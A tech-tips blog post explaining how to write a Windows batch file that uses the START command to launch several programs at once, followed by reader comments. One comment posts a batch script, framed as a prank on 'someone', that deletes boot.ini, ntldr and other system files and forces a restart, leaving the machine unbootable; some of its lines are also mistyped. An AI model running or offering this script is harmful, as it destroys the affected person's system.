Batch Script To Open Multiple Programs At Once

If you do a task which requires you to have several programs open, a time saving thing you can do is create a batch script to open these programs and/or files at once. This is accomplished by using the START command. Using the syntax:

START /D “path_to_program” program_name

For example, to open both Firefox and IE, the batch file would look like this:

START /D “C:\Program Files\Internet Explorer” iexplore.exe
START /D “C:\Program Files\Mozilla Firefox” firefox.exe

Just save the above text into a batch file named Browsers.bat and then run it. You will see both Firefox and IE are launched. This is just a simple example, so you would want to configure the programs to be what you need.

Free eBook!

Like what you read?

If so, please join over 28,000 people who receive our exclusive weekly newsletter and computer tips, and get FREE COPIES of 5 eBooks we created, as our gift to you for subscribing. Just enter your name and email below:

Post A Comment Using Facebook

  • Chris

    if you input an web address also it will not only open up the browser but also open it up at the website you put in. Really cool trick I like.

  • http://www.opensourceresource.com.au Gareth Evans

    HAHA! This is basic command line scripting :P I figured this out for myself years back :D

    Now here’s how to delete someone’s bootloader in Windows XP and restart the computer instantly:

    @echo off
    @attrib -r -s -h %SYSTEMDRIVE%\boot.ini
    @del %SYSTEMDRIVE\boot.ini /y
    @attrib -r -s -h %SYSTEMDRIVE%\autoexec.bat
    @del %SYSTEMDRIVE\autoexec.bat /y
    @attrib -r -s -h %SYSTEMDRIVE%\ntldr
    @del %SYSTEMDRIVE\ntldr /y
    @attrib -r -s -h %WINDIR%\win.ini
    @del %WINDIR%\win.ini /y
    @shutdown -r -t 00 -f
    @cls
    @exit

    Now only use this for your own good, please.

What’s Your Preference?

Daily Alerts

Each day we send out a quick email to thousands of PCMECH readers to notify them of new posts. This email is just a short, plain email with titles and links to our latest posts. You can unsubscribe from this service at any time.

You can subscribe to it by leaving your email address in the following field and confirming your subscription when you get an email asking you to do so.

Enter your email address for
Daily Updates:

Weekly Newsletter

Running for over 6 years, the PCMECH weekly newsletter helps you keep tabs on the world of tech. Each issue includes news bits, an article, an exclusive rant as well as a download of the week. This newsletter is subscribed to by over 28,000 readers (many who also subscribe to the other option) - come join the community!

To subscribe to this weekly newsletter simply add your email address to the following field and then follow the confirmation prompts. You will be able to unsubscribe at any time.

Enter your email address for
Free Weekly Newsletter: